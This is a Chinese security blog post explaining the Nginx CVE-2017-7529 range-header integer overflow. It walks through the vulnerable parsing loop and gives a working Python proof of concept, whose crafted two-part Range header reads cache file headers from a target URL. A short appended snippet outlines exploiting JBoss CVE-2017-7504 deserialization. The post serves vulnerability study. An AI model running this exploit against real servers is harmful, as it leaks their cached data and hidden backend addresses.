CVE-2017-7529Nginx越界读取缓存漏洞POC

漏洞影响

低危,造成信息泄露,暴露真实ip等
实验内容

漏洞原理

通过查看patch确定问题是由于对http header中range域处理不当造成,焦点在ngx_http_range_parse 函数中的循环:
在这里插入图片描述在这里插入图片描述

HTTP头部range域的内容大约为Range: bytes=4096-8192bytes=-字符串指针p中即为“bytes=”后面的内容

这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量标记读取文件的偏移和结束位置。

对于一般的页面文件这两个值怎么玩都没关系。但对于有额外头部的缓存文件若start值为负(合适的负值)那么就意味着缓存文件的头部也会被读取。

因此我们需令 suffix = 1由此可推知Range 的内容必然为Range:bytes=-xxx即省略初始 start 值的形式。

那么我们可以通过 Range 中设 end 值大于content_length(真正文件的长度),这样 start 就自动被程序修正为负值了。

但是在写利用过程中发现一个问题若 end 值很大那么 start 的绝对值也会很大会超过缓存文件的起始头部造成读取失败。若 end 值不够大那么换算下来 size = end – 1 >= content_length (end > content_length 见前文所述)就不能通过循环外面的检测:

if (size>content_length){
return NGXDECLINFD;

}

这样的话似乎无论设 end 为何值都无法达成利用了。继续跟进代码发现这个循环是个无条件循环,尾部为

if (*p++ !=’,’){
break;
}

也就是说若 Range 域形如Range: bytes=start-end,start1-end1,…就还有机会继续完成利用。

我们可以构造一个 Range: bytes=-X, -Y

一大一小两个 end 值只需要控制前面一个 end 值小而后一个 end 值大从而实现 start 值和 size 值皆为负数控制 start 值负到一个合适的位置,那么就能成功利用读到缓存文件头部了。

POC:

访问http://your-ip:8080/,即可查看到Nginx默认页面,这个页面实际上是反向代理的8081端口的内容。

调用python3 poc.py http://your-ip:8080/,读取返回结果:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

参考链接:https://zhuanlan.zhihu.com/p/34155943

看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
CVE-2017-7504是指JBoss AS 4.x及之前版本中的一个反序列化漏洞,该漏洞存在于JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件中。攻击者可以利用特制的序列化数据利用该漏洞执行任意代码。与CVE-2015-7501漏洞原理相似,但利用的路径不同,CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。\[1\] 要利用CVE-2017-7504漏洞,可以按照以下步骤进行操作: 1. 访问靶场环境。 2. 使用CVE-2017-12149的工具和脚本在攻击机上执行命令,生成poc(详情请参考相关文章)\[2\]。 3. 在另一个终端上监听端口。 4. 在第一个终端上执行命令,生成成功\[3\]。 请注意,这只是一种利用CVE-2017-7504漏洞的方法,具体操作可能因环境和工具而异。 #### 引用[.reference_title] - *1* [JBossMQ JMS 反序列化漏洞CVE-2017-7504)](https://blog.csdn.net/weixin_51151498/article/details/128283378)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[Vulfocus解题系列] jboss 反序列化 (CVE-2017-7504)](https://blog.csdn.net/qq_45813980/article/details/118653639)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [JBoss反序列漏洞CVE-2017-7504)](https://blog.csdn.net/weixin_46411728/article/details/126714312)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

b1gpig安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值